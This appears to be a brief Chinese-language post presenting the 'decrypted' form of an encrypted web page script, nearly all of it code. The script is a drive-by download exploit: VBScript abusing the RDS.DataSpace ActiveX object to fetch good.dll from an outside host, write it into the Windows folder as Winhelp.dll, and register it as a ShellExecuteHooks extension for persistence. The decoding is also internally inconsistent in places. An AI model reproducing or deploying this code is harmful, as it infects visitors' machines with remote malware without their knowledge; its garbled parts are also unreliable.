是加密的，解密后如下：

<script language="javascript">
document.write(unescape("<script language="vbscript">
Function LeoFunc(ByVal encodeString)
Const Templete = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
encodeString = Replace(encodeString, vbCrLf, "")
encodeString = Replace(encodeString, vbTab, "")
encodeString = Replace(encodeString, " ", "")
dataLength = Len(encodeString)
If dataLength Mod 4 <> 0 Then
Exit Function
End If
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(encodeString, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Templete, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = String(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
LeoFunc = sOut
End Function
Execute LeoFunc("Function LeoFunc(ByVal encodeString)
Const Templete = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
encodeString = Replace(encodeString, vbCrLf, "")
encodeString = Replace(encodeString, vbTab, "")
encodeString = Replace(encodeString, " ", "")
dataLength = Len(encodeString)
If dataLength Mod 4 <> 0 Then
Exit Function
End If
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(encodeString, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Templete, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = String(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
LeoFunc = sOut
End Function
On Error Resume Next
Set obj = document.createElement(LeoFunc("object"))
obj.setAttribute LeoFunc("classid"), LeoFunc("clsid:BD96C556-65A3-11D0-983A-00C04FC29E36")
set objD=obj.CreateObject(LeoFunc("Microsoft.XMLHTTP"),"")
urlPathName=LeoFunc("http://good.91tg.net/good.dll")
objD.Open LeoFunc("R0VU"),urlPathName,False
objD.Send
set objB=obj.CreateObject(LeoFunc("Scripting.FileSystemObject"),"")
set shell=objB.GetSpecialFolder(0)
shellName= objB.BuildPath(shell,LeoFunc("Winhelp.dll"))
set objStream=obj.CreateObject(LeoFunc("Adodb.Stream"),"")
With objStream
.Type=1
.Open
.Write objD.responseBody
.SaveToFile shellName,2
.Close
End With
Set objR = obj.CreateObject(LeoFunc("WScript.Shell"),"")
keyName=LeoFunc("HKLM\SOFTWARE\Classes\CLSID\{6B3FCDC8-E5C7-477a-817E-72865A7758AE}\")
objR.RegWrite keyName,LeoFunc("Web Hooks")
keyName=keyName & LeoFunc("InprocServer32\")
keyNameEx=LeoFunc("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\{6B3FCDC8-E5C7-477a-817E-72865A7758AE}")
objR.RegWrite keyName,shellName
objR.RegWrite keyName & LeoFunc("ThreadingModel"),LeoFunc("Apartment")
objR.RegWrite keyNameEx,""
")

</script>
"));
</script>